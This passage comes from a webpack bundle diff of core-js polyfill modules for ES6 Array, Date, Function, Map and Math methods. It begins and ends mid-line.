uid)('Symbol.' + name)); +}; + +$exports.store = store; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/core.get-iterator-method.js": +/*!******************************************************************!*\ + !*** ./node_modules/core-js/modules/core.get-iterator-method.js ***! + \******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ./_classof */ "./node_modules/core-js/modules/_classof.js"); +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +module.exports = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js").getIteratorMethod = function (it) { + if (it != undefined) return it[ITERATOR] + || it['@@iterator'] + || Iterators[classof(it)]; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.copy-within.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.copy-within.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'Array', { copyWithin: __webpack_require__(/*! ./_array-copy-within */ "./node_modules/core-js/modules/_array-copy-within.js") }); + +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")('copyWithin'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.every.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.every.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $every = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(4); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].every, true), 'Array', { + // 22.1.3.5 / 15.4.4.16 Array.prototype.every(callbackfn [, thisArg]) + every: function every(callbackfn /* , thisArg */) { + return $every(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.fill.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.fill.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'Array', { fill: __webpack_require__(/*! ./_array-fill */ "./node_modules/core-js/modules/_array-fill.js") }); + +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")('fill'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.filter.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.filter.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $filter = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(2); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].filter, true), 'Array', { + // 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg]) + filter: function filter(callbackfn /* , thisArg */) { + return $filter(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.find-index.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.find-index.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 22.1.3.9 Array.prototype.findIndex(predicate, thisArg = undefined) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $find = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(6); +var KEY = 'findIndex'; +var forced = true; +// Shouldn't skip holes +if (KEY in []) Array(1)[KEY](function () { forced = false; }); +$export($export.P + $export.F * forced, 'Array', { + findIndex: function findIndex(callbackfn /* , that = undefined */) { + return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); + } +}); +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")(KEY); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.find.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.find.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 22.1.3.8 Array.prototype.find(predicate, thisArg = undefined) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $find = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(5); +var KEY = 'find'; +var forced = true; +// Shouldn't skip holes +if (KEY in []) Array(1)[KEY](function () { forced = false; }); +$export($export.P + $export.F * forced, 'Array', { + find: function find(callbackfn /* , that = undefined */) { + return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); + } +}); +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")(KEY); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.for-each.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.for-each.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $forEach = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(0); +var STRICT = __webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].forEach, true); + +$export($export.P + $export.F * !STRICT, 'Array', { + // 22.1.3.10 / 15.4.4.18 Array.prototype.forEach(callbackfn [, thisArg]) + forEach: function forEach(callbackfn /* , thisArg */) { + return $forEach(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.from.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.from.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var call = __webpack_require__(/*! ./_iter-call */ "./node_modules/core-js/modules/_iter-call.js"); +var isArrayIter = __webpack_require__(/*! ./_is-array-iter */ "./node_modules/core-js/modules/_is-array-iter.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var createProperty = __webpack_require__(/*! ./_create-property */ "./node_modules/core-js/modules/_create-property.js"); +var getIterFn = __webpack_require__(/*! ./core.get-iterator-method */ "./node_modules/core-js/modules/core.get-iterator-method.js"); + +$export($export.S + $export.F * !__webpack_require__(/*! ./_iter-detect */ "./node_modules/core-js/modules/_iter-detect.js")(function (iter) { Array.from(iter); }), 'Array', { + // 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined) + from: function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) { + var O = toObject(arrayLike); + var C = typeof this == 'function' ? this : Array; + var aLen = arguments.length; + var mapfn = aLen > 1 ? arguments[1] : undefined; + var mapping = mapfn !== undefined; + var index = 0; + var iterFn = getIterFn(O); + var length, result, step, iterator; + if (mapping) mapfn = ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2); + // if object isn't iterable or it's array with default iterator - use simple case + if (iterFn != undefined && !(C == Array && isArrayIter(iterFn))) { + for (iterator = iterFn.call(O), result = new C(); !(step = iterator.next()).done; index++) { + createProperty(result, index, mapping ? call(iterator, mapfn, [step.value, index], true) : step.value); + } + } else { + length = toLength(O.length); + for (result = new C(length); length > index; index++) { + createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]); + } + } + result.length = index; + return result; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.index-of.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.index-of.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $indexOf = __webpack_require__(/*! ./_array-includes */ "./node_modules/core-js/modules/_array-includes.js")(false); +var $native = [].indexOf; +var NEGATIVE_ZERO = !!$native && 1 / [1].indexOf(1, -0) < 0; + +$export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")($native)), 'Array', { + // 22.1.3.11 / 15.4.4.14 Array.prototype.indexOf(searchElement [, fromIndex]) + indexOf: function indexOf(searchElement /* , fromIndex = 0 */) { + return NEGATIVE_ZERO + // convert -0 to +0 + ? $native.apply(this, arguments) || 0 + : $indexOf(this, searchElement, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.is-array.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.is-array.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.2.2 / 15.4.3.2 Array.isArray(arg) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Array', { isArray: __webpack_require__(/*! ./_is-array */ "./node_modules/core-js/modules/_is-array.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.iterator.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.iterator.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var addToUnscopables = __webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js"); +var step = __webpack_require__(/*! ./_iter-step */ "./node_modules/core-js/modules/_iter-step.js"); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); + +// 22.1.3.4 Array.prototype.entries() +// 22.1.3.13 Array.prototype.keys() +// 22.1.3.29 Array.prototype.values() +// 22.1.3.30 Array.prototype[@@iterator]() +module.exports = __webpack_require__(/*! ./_iter-define */ "./node_modules/core-js/modules/_iter-define.js")(Array, 'Array', function (iterated, kind) { + this._t = toIObject(iterated); // target + this._i = 0; // next index + this._k = kind; // kind +// 22.1.5.2.1 %ArrayIteratorPrototype%.next() +}, function () { + var O = this._t; + var kind = this._k; + var index = this._i++; + if (!O || index >= O.length) { + this._t = undefined; + return step(1); + } + if (kind == 'keys') return step(0, index); + if (kind == 'values') return step(0, O[index]); + return step(0, [index, O[index]]); +}, 'values'); + +// argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7) +Iterators.Arguments = Iterators.Array; + +addToUnscopables('keys'); +addToUnscopables('values'); +addToUnscopables('entries'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.join.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.join.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 22.1.3.13 Array.prototype.join(separator) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var arrayJoin = [].join; + +// fallback for not array-like strings +$export($export.P + $export.F * (__webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js") != Object || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")(arrayJoin)), 'Array', { + join: function join(separator) { + return arrayJoin.call(toIObject(this), separator === undefined ? ',' : separator); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.last-index-of.js": +/*!*****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.last-index-of.js ***! + \*****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var $native = [].lastIndexOf; +var NEGATIVE_ZERO = !!$native && 1 / [1].lastIndexOf(1, -0) < 0; + +$export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")($native)), 'Array', { + // 22.1.3.14 / 15.4.4.15 Array.prototype.lastIndexOf(searchElement [, fromIndex]) + lastIndexOf: function lastIndexOf(searchElement /* , fromIndex = @[*-1] */) { + // convert -0 to +0 + if (NEGATIVE_ZERO) return $native.apply(this, arguments) || 0; + var O = toIObject(this); + var length = toLength(O.length); + var index = length - 1; + if (arguments.length > 1) index = Math.min(index, toInteger(arguments[1])); + if (index < 0) index = length + index; + for (;index >= 0; index--) if (index in O) if (O[index] === searchElement) return index || 0; + return -1; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.map.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.map.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $map = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(1); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].map, true), 'Array', { + // 22.1.3.15 / 15.4.4.19 Array.prototype.map(callbackfn [, thisArg]) + map: function map(callbackfn /* , thisArg */) { + return $map(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.of.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.of.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var createProperty = __webpack_require__(/*! ./_create-property */ "./node_modules/core-js/modules/_create-property.js"); + +// WebKit Array.of isn't generic +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + function F() { /* empty */ } + return !(Array.of.call(F) instanceof F); +}), 'Array', { + // 22.1.2.3 Array.of( ...items) + of: function of(/* ...args */) { + var index = 0; + var aLen = arguments.length; + var result = new (typeof this == 'function' ? this : Array)(aLen); + while (aLen > index) createProperty(result, index, arguments[index++]); + result.length = aLen; + return result; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.reduce-right.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.reduce-right.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $reduce = __webpack_require__(/*! ./_array-reduce */ "./node_modules/core-js/modules/_array-reduce.js"); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].reduceRight, true), 'Array', { + // 22.1.3.19 / 15.4.4.22 Array.prototype.reduceRight(callbackfn [, initialValue]) + reduceRight: function reduceRight(callbackfn /* , initialValue */) { + return $reduce(this, callbackfn, arguments.length, arguments[1], true); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.reduce.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.reduce.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $reduce = __webpack_require__(/*! ./_array-reduce */ "./node_modules/core-js/modules/_array-reduce.js"); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].reduce, true), 'Array', { + // 22.1.3.18 / 15.4.4.21 Array.prototype.reduce(callbackfn [, initialValue]) + reduce: function reduce(callbackfn /* , initialValue */) { + return $reduce(this, callbackfn, arguments.length, arguments[1], false); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.slice.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.slice.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var html = __webpack_require__(/*! ./_html */ "./node_modules/core-js/modules/_html.js"); +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var arraySlice = [].slice; + +// fallback for not array-like ES3 strings and DOM objects +$export($export.P + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + if (html) arraySlice.call(html); +}), 'Array', { + slice: function slice(begin, end) { + var len = toLength(this.length); + var klass = cof(this); + end = end === undefined ? len : end; + if (klass == 'Array') return arraySlice.call(this, begin, end); + var start = toAbsoluteIndex(begin, len); + var upTo = toAbsoluteIndex(end, len); + var size = toLength(upTo - start); + var cloned = new Array(size); + var i = 0; + for (; i < size; i++) cloned[i] = klass == 'String' + ? this.charAt(start + i) + : this[start + i]; + return cloned; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.some.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.some.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $some = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(3); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].some, true), 'Array', { + // 22.1.3.23 / 15.4.4.17 Array.prototype.some(callbackfn [, thisArg]) + some: function some(callbackfn /* , thisArg */) { + return $some(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.sort.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.sort.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var $sort = [].sort; +var test = [1, 2, 3]; + +$export($export.P + $export.F * (fails(function () { + // IE8- + test.sort(undefined); +}) || !fails(function () { + // V8 bug + test.sort(null); + // Old WebKit +}) || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")($sort)), 'Array', { + // 22.1.3.25 Array.prototype.sort(comparefn) + sort: function sort(comparefn) { + return comparefn === undefined + ? $sort.call(toObject(this)) + : $sort.call(toObject(this), aFunction(comparefn)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.species.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.species.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ./_set-species */ "./node_modules/core-js/modules/_set-species.js")('Array'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.now.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.now.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.3.3.1 / 15.9.4.4 Date.now() +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Date', { now: function () { return new Date().getTime(); } }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-iso-string.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-iso-string.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString() +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toISOString = __webpack_require__(/*! ./_date-to-iso-string */ "./node_modules/core-js/modules/_date-to-iso-string.js"); + +// PhantomJS / old WebKit has a broken implementations +$export($export.P + $export.F * (Date.prototype.toISOString !== toISOString), 'Date', { + toISOString: toISOString +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-json.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-json.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return new Date(NaN).toJSON() !== null + || Date.prototype.toJSON.call({ toISOString: function () { return 1; } }) !== 1; +}), 'Date', { + // eslint-disable-next-line no-unused-vars + toJSON: function toJSON(key) { + var O = toObject(this); + var pv = toPrimitive(O); + return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString(); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-primitive.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-primitive.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var TO_PRIMITIVE = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toPrimitive'); +var proto = Date.prototype; + +if (!(TO_PRIMITIVE in proto)) __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")(proto, TO_PRIMITIVE, __webpack_require__(/*! ./_date-to-primitive */ "./node_modules/core-js/modules/_date-to-primitive.js")); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-string.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-string.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DateProto = Date.prototype; +var INVALID_DATE = 'Invalid Date'; +var TO_STRING = 'toString'; +var $toString = DateProto[TO_STRING]; +var getTime = DateProto.getTime; +if (new Date(NaN) + '' != INVALID_DATE) { + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(DateProto, TO_STRING, function toString() { + var value = getTime.call(this); + // eslint-disable-next-line no-self-compare + return value === value ? $toString.call(this) : INVALID_DATE; + }); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.function.bind.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.function.bind.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.2.3.2 / 15.3.4.5 Function.prototype.bind(thisArg, args...) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'Function', { bind: __webpack_require__(/*! ./_bind */ "./node_modules/core-js/modules/_bind.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.function.has-instance.js": +/*!*******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.function.has-instance.js ***! + \*******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var HAS_INSTANCE = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('hasInstance'); +var FunctionProto = Function.prototype; +// 19.2.3.6 Function.prototype[@@hasInstance](V) +if (!(HAS_INSTANCE in FunctionProto)) __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f(FunctionProto, HAS_INSTANCE, { value: function (O) { + if (typeof this != 'function' || !isObject(O)) return false; + if (!isObject(this.prototype)) return O instanceof this; + // for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this: + while (O = getPrototypeOf(O)) if (this.prototype === O) return true; + return false; +} }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.function.name.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.function.name.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var FProto = Function.prototype; +var nameRE = /^\s*function ([^ (]*)/; +var NAME = 'name'; + +// 19.2.4.2 name +NAME in FProto || __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && dP(FProto, NAME, { + configurable: true, + get: function () { + try { + return ('' + this).match(nameRE)[1]; + } catch (e) { + return ''; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.map.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/es6.map.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var strong = __webpack_require__(/*! ./_collection-strong */ "./node_modules/core-js/modules/_collection-strong.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var MAP = 'Map'; + +// 23.1 Map Objects +module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(MAP, function (get) { + return function Map() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, { + // 23.1.3.6 Map.prototype.get(key) + get: function get(key) { + var entry = strong.getEntry(validate(this, MAP), key); + return entry && entry.v; + }, + // 23.1.3.9 Map.prototype.set(key, value) + set: function set(key, value) { + return strong.def(validate(this, MAP), key === 0 ? 0 : key, value); + } +}, strong, true); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.acosh.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.acosh.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.3 Math.acosh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var log1p = __webpack_require__(/*! ./_math-log1p */ "./node_modules/core-js/modules/_math-log1p.js"); +var sqrt = Math.sqrt; +var $acosh = Math.acosh; + +$export($export.S + $export.F * !($acosh + // V8 bug: https://code.google.com/p/v8/issues/detail?id=3509 + && Math.floor($acosh(Number.MAX_VALUE)) == 710 + // Tor Browser bug: Math.acosh(Infinity) -> NaN + && $acosh(Infinity) == Infinity +), 'Math', { + acosh: function acosh(x) { + return (x = +x) < 1 ? NaN : x > 94906265.62425156 + ? Math.log(x) + Math.LN2 + : log1p(x - 1 + sqrt(x - 1) * sqrt(x + 1)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.asinh.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.asinh.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.5 Math.asinh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $asinh = Math.asinh; + +function asinh(x) { + return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : Math.log(x + Math.sqrt(x * x + 1)); +} + +// Tor Browser bug: Math.asinh(0) -> -0 +$export($export.S + $export.F * !($asinh && 1 / $asinh(0) > 0), 'Math', { asinh: asinh }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.atanh.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.atanh.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.7 Math.atanh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $atanh = Math.atanh; + +// Tor Browser bug: Math.atanh(-0) -> 0 +$export($export.S + $export.F * !($atanh && 1 / $atanh(-0) < 0), 'Math', { + atanh: 